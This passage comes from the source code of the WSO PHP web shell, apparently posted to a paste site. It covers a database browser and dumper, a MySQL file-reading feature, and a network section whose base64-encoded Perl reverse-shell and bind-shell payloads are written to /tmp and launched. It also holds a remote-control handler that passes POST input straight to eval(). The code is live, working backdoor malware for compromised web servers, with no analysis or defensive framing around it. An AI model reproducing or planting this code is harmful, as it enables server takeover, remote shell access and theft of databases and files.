  1301. } else
  1302. $sql = "\n\t,(".implode(", ", $item).')';
  1303. if($fp) fwrite($fp, $sql); else echo($sql);
  1304. }
  1305. if(!$head)
  1306. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1307. break;
  1308. case 'pgsql':
  1309. $this->query('SELECT * FROM '.$table);
  1310. while($item = $this->fetch()) {
  1311. $columns = array();
  1312. foreach($item as $k=>$v) {
  1313. $item[$k] = "'".addslashes($v)."'";
  1314. $columns[] = $k;
  1315. }
  1316. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1317. if($fp) fwrite($fp, $sql); else echo($sql);
  1318. }
  1319. break;
  1320. }
  1321. return false;
  1322. }
  1323. };
  1324. $db = new DbClass($_POST['type']);
  1325. if(@$_POST['p2']=='download') {
  1326. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1327. $db->selectdb($_POST['sql_base']);
  1328. switch($_POST['charset']) {
  1329. case "Windows-1251": $db->setCharset('cp1251'); break;
  1330. case "UTF-8": $db->setCharset('utf8'); break;
  1331. case "KOI8-R": $db->setCharset('koi8r'); break;
  1332. case "KOI8-U": $db->setCharset('koi8u'); break;
  1333. case "cp866": $db->setCharset('cp866'); break;
  1334. }
  1335. if(empty($_POST['file'])) {
  1336. ob_start("ob_gzhandler", 4096);
  1337. header("Content-Disposition: attachment; filename=dump.sql");
  1338. header("Content-Type: text/plain");
  1339. foreach($_POST['tbl'] as $v)
  1340. $db->dump($v);
  1341. exit;
  1342. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1343. foreach($_POST['tbl'] as $v)
  1344. $db->dump($v, $fp);
  1345. fclose($fp);
  1346. unset($_POST['p2']);
  1347. } else
  1348. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1349. }
  1350. wsoHeader();
  1351. echo "
  1352. <h1>Sql browser</h1><div class=content>
  1353. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1354. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1355. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1356. <td><select name='type'><option value='mysql' ";
  1357. if(@$_POST['type']=='mysql')echo 'selected';
  1358. echo ">MySql</option><option value='pgsql' ";
  1359. if(@$_POST['type']=='pgsql')echo 'selected';
  1360. echo ">PostgreSql</option></select></td>
  1361. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1362. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1363. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1364. $tmp = "<input type=text name=sql_base value=''>";
  1365. if(isset($_POST['sql_host'])){
  1366. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1367. switch($_POST['charset']) {
  1368. case "Windows-1251": $db->setCharset('cp1251'); break;
  1369. case "UTF-8": $db->setCharset('utf8'); break;
  1370. case "KOI8-R": $db->setCharset('koi8r'); break;
  1371. case "KOI8-U": $db->setCharset('koi8u'); break;
  1372. case "cp866": $db->setCharset('cp866'); break;
  1373. }
  1374. $db->listDbs();
  1375. echo "<select name=sql_base><option value=''></option>";
  1376. while($item = $db->fetch()) {
  1377. list($key, $value) = each($item);
  1378. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1379. }
  1380. echo '</select>';
  1381. }
  1382. else echo $tmp;
  1383. }else
  1384. echo $tmp;
  1385. echo "</td>
  1386. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1387. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1388. </tr>
  1389. </table>
  1390. <script>
  1391. s_db='".@addslashes($_POST['sql_base'])."';
  1392. function fs(f) {
  1393. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1394. if(f.p1) f.p1.value='';
  1395. if(f.p2) f.p2.value='';
  1396. if(f.p3) f.p3.value='';
  1397. }
  1398. }
  1399. function st(t,l) {
  1400. d.sf.p1.value = 'select';
  1401. d.sf.p2.value = t;
  1402. if(l && d.sf.p3) d.sf.p3.value = l;
  1403. d.sf.submit();
  1404. }
  1405. function is() {
  1406. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1407. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1408. }
  1409. </script>";
  1410. if(isset($db) && $db->link){
  1411. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1412. if(!empty($_POST['sql_base'])){
  1413. $db->selectdb($_POST['sql_base']);
  1414. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1415. $tbls_res = $db->listTables();
  1416. while($item = $db->fetch($tbls_res)) {
  1417. list($key, $value) = each($item);
  1418. if(!empty($_POST['sql_count']))
  1419. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1420. $value = htmlspecialchars($value);
  1421. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1422. }
  1423. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1424. if(@$_POST['p1'] == 'select') {
  1425. $_POST['p1'] = 'query';
  1426. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1427. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1428. $num = $db->fetch();
  1429. $pages = ceil($num['n'] / 30);
  1430. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1431. echo " of $pages";
  1432. if($_POST['p3'] > 1)
  1433. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1434. if($_POST['p3'] < $pages)
  1435. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1436. $_POST['p3']--;
  1437. if($_POST['type']=='pgsql')
  1438. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1439. else
  1440. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1441. echo "<br><br>";
  1442. }
  1443. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1444. $db->query(@$_POST['p2']);
  1445. if($db->res !== false) {
  1446. $title = false;
  1447. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1448. $line = 1;
  1449. while($item = $db->fetch()) {
  1450. if(!$title) {
  1451. echo '<tr>';
  1452. foreach($item as $key => $value)
  1453. echo '<th>'.$key.'</th>';
  1454. reset($item);
  1455. $title=true;
  1456. echo '</tr><tr>';
  1457. $line = 2;
  1458. }
  1459. echo '<tr class="l'.$line.'">';
  1460. $line = $line==1?2:1;
  1461. foreach($item as $key => $value) {
  1462. if($value == null)
  1463. echo '<td><i>null</i></td>';
  1464. else
  1465. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1466. }
  1467. echo '</tr>';
  1468. }
  1469. echo '</table>';
  1470. } else {
  1471. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1472. }
  1473. }
  1474. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1475. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1476. echo htmlspecialchars($_POST['p2']);
  1477. echo "</textarea><br/><input type=submit value='Execute'>";
  1478. echo "</td></tr>";
  1479. }
  1480. echo "</table></form><br/>";
  1481. if($_POST['type']=='mysql') {
  1482. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1483. if($db->fetch())
  1484. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1485. }
  1486. if(@$_POST['p1'] == 'loadfile') {
  1487. $file = $db->loadFile($_POST['p2']);
  1488. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1489. }
  1490. } else {
  1491. echo htmlspecialchars($db->error());
  1492. }
  1493. echo '</div>';
  1494. wsoFooter();
  1495. }
  1496. function actionNetwork() {
  1497. wsoHeader();
  1498. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1499. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1500. echo "<h1>Network tools</h1><div class=content>
  1501. <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1502. <span>Bind port to /bin/sh [perl]</span><br/>
  1503. Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1504. </form>
  1505. <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1506. <span>Back-connect [perl]</span><br/>
  1507. Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1508. </form><br>";
  1509. if(isset($_POST['p1'])) {
  1510. function cf($f,$t) {
  1511. $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1512. if($w){
  1513. @fwrite($w,@base64_decode($t));
  1514. @fclose($w);
  1515. }
  1516. }
  1517. if($_POST['p1'] == 'bpp') {
  1518. cf("/tmp/bp.pl",$bind_port_p);
  1519. $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1520. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1521. unlink("/tmp/bp.pl");
  1522. }
  1523. if($_POST['p1'] == 'bcp') {
  1524. cf("/tmp/bc.pl",$back_connect_p);
  1525. $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1526. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1527. unlink("/tmp/bc.pl");
  1528. }
  1529. }
  1530. echo '</div>';
  1531. wsoFooter();
  1532. }
  1533. function actionRC() {
  1534. if(!@$_POST['p1']) {
  1535. $a = array(
  1536. "uname" => php_uname(),
  1537. "php_version" => phpversion(),
  1538. "wso_version" => WSO_VERSION,
  1539. "safemode" => @ini_get('safe_mode')
  1540. );
  1541. echo serialize($a);
  1542. } else {
  1543. eval($_POST['p1']);
  1544. }
  1545. }
  1546. if( empty($_POST['a']) )
  1547. if(isset($default_action) && function_exists('action' . $default_action))
  1548. $_POST['a'] = $default_action;
  1549. else
  1550. $_POST['a'] = 'SecInfo';
  1551. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1552. call_user_func('action' . $_POST['a']);
  1553. exit;
Add Comment
Please, Sign In to add comment